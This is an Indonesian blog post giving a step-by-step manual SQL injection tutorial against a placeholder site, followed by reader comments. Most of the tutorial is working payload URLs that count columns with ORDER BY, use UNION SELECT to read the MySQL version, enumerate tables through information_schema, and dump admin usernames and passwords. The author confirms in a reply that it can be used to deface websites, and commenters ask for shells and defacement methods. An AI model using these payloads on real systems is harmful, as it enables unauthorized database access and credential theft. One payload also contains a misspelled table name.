Powered by Blogger.

Cara Manual SQL Injection





Harap dicatat bahwa penulis tidak bertanggung jawab atas segala bentuk efek dari artikel ini, tujuannya hanya untuk pengetahuan saja, jadi silahkan gunakan untuk kebaikan dan keamanan kalian masing2. Pertanyaan yang bersifat “Merusak” tidak akan ditanggapi.

Cara ngehacking web atau biasa disebut web attack sangat banyak caranya, salah satunya dengan cara SQL injection.

Apa itu SQL injection ?

SQL injection terjadi ketika attacker bisa meng-insert beberapa SQL statement ke ‘query’ dengan cara manipulasi data input ke applikasi tsb.oke, mari kita simak bersama-sama.
1. Pertama kali yang kita lakukan tentu mencari target. Misalnya target kita kali ini adalah
http://www.target.com/berita.php?id=100
2. Tambahkan karakter ‘ pada akhir url atau menambahkan karakter “-” untuk melihat apakah ada pesan error.
Contoh :
http://www.target.com/berita.php?id=100'
atau
http://www.target.com/berita.php?id=-100
4. Maka akan muncul pesan error.
“You have an error in your SQL syntax.You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to use near ”’
at line 1″ Dan masih banyak lagi macamnya.
5. Next step adalah mencari dan menghitung jumlah table yang ada dalam databasenya…
Disini kita akan menggunakan perintah order by
Contoh :
http://www.target.com/berita.php?id=100+order+by+1/*
Hohoho…apalagi itu “/*” ? Itu adalah karakter penutup perintah SQL atau kita juga bisa pake “–”. Terserah aja…
Kalo “+” sebagai penghubung perintah…
6. Nah sampe sini langsung dah nyobain satu2…
http://www.target.com/berita.php?id=100+order+by+1/* (gak ada error)
http://www.target.com/berita.php?id=100+order+by+2/* (gak ada juga)
http://www.target.com/berita.php?id=100+order+by+3/* (capek dah)
http://www.target.com/berita.php?id=100+order+by+4/* (jangan nyerah)
Sampai muncul error…
Misalkan errornya disini…
http://www.target.com/berita.php?id=100+order+by+10/*
Berarti yang kita ambil adalah “9″
http://www.target.com/berita.php?id=100+order+by+9/*
7. Untuk mengetahui berapa angka yang show sekarang kita pake UNION
Contoh :
http://www.target.com/news.php?id=100+union+select+1,2,3,4,5,6,7,8,9/*
Trus perhatikan angka berapa yang keluar (Kayak togel aja… ;p)
8. Misalnya angka hoki yang keluar adalah “3″ maka yang bisa akan kita lakukan adalah mengecek versi berapa mysql yang dipake dengan perintah “version()” atau “@@version”
http://www.target.com/news.php?id=100+union+select+1,2,version(),4,5,6,7,8,9/*
Atau
http://www.target.com/news.php?id=100+union+select+1,2,@@version,4,5,6,7,8,9/*
9. Nah kalo versinya 5 langsung aja pake perintah “information_schema” untuk melihat tabel dan kolom yang ada pada database…
Contoh :
http://www.target.com/berita.php?id=100+union+select+1,2,table_name,4,5,6,7,8,9+from+information_schema.tables/*
Nah katanya kalo untuk melihat tabel-tabel yang lain kita tambahkan LIMIT pada akhir URL. Tapi waktu itu gua gak pake keliatan kok tabelnya. Apa gua salah? Mungkin tapi sekarang yang gua mau jelaskan adalah VERSI DAN PENGALAMAN GUA. Mungkin agak lain…ya maklum lah baru belajar…Hehehe…
Misalnya yang lo liat adalah table “admin”
Nah sekarang kita liat-liat dulu kolomnya dengan mengganti aja kata “table”-nya…
Contoh:
http://www.target.com/berita.php?id=100+union+select+1,2,column_name,4,5,6,7,8,9+from+information_schema.colums/*
Misalnya kolom yang keluar adalah “password” dan “username”
Langsung aja kita liat isinya…
Contoh :
http://www.target.com/news.php?id=100+union+select+1,username,3,4,5,6,7,8,9+from+admin/*
dan
http://www.target.com/news.php?id=100+union+select+1,password,3,4,5,6,7,8,9+from+admin/*
Bisa diliat dah username ama passwordnya. Tinggal nyari halaman loginnya. Bisa pake admi finder atau BackTrack
Anda baru saja membaca artikel yang berkategori Hacking dengan judul Cara Manual SQL Injection. Anda bisa bookmark halaman ini dengan URL https://forbidden007.blogspot.com/2013/05/cara-manual-sql-injection.html. Terima kasih!
Ditulis oleh: wh0cares - Saturday, May 4, 2013

55 komentar untuk "Cara Manual SQL Injection"

  1. Wah pasti yg punya blog heker yaa

    ReplyDelete
  2. pake live target dong kak :) biar semakin paham :)

    ReplyDelete
  3. kak share ttg metode SQLi yg laen juga dong

    ReplyDelete
  4. ini bisa buat deface web ya? maklum newbie

    ReplyDelete
    Replies
    1. bisa kak :) harus sedikit bersabar tapi :D

      Delete
  5. kasih tutorial upload shell juga dong

    ReplyDelete
  6. share ttg metode deface yg laen dong

    ReplyDelete
  7. ga maksud kak :v

    ReplyDelete
    Replies
    1. emang sedikit agak susah :) dipahami dulu aja :)

      Delete
  8. artikelnya bermanfaat... sangat membantu

    ReplyDelete
  9. minta shellnya gan

    ReplyDelete
    Replies
    1. buat sendiri atau cari di google banyak :v

      Delete
  10. ada yg software ga? males klo manual

    ReplyDelete
  11. share teknik yg laen juga dong

    ReplyDelete
  12. share dorknya juga dong

    ReplyDelete
  13. tulis artikel cara menggunakan sqlmap yg lengkap yaa, btw nice post

    ReplyDelete
  14. share teknik RFI dan LFI juga dong

    ReplyDelete
  15. saran : jangan deface situs indonesia :)

    ReplyDelete
  16. setuju sama yg diatas ajalah °˚˚ºo(•̃͡-̮•̃͡) hέhέhέ (•̃͡-̮•̃͡)oº˚˚° :p

    ReplyDelete
  17. share juga ttg cara ngehindari SQLi di website dong

    ReplyDelete
  18. wah heker pro nih pasti

    ReplyDelete
  19. share trik yg laen dong

    ReplyDelete
  20. wow haikal awas ntar ditangkep kek wildan wkwkwkwkwkwkk

    ReplyDelete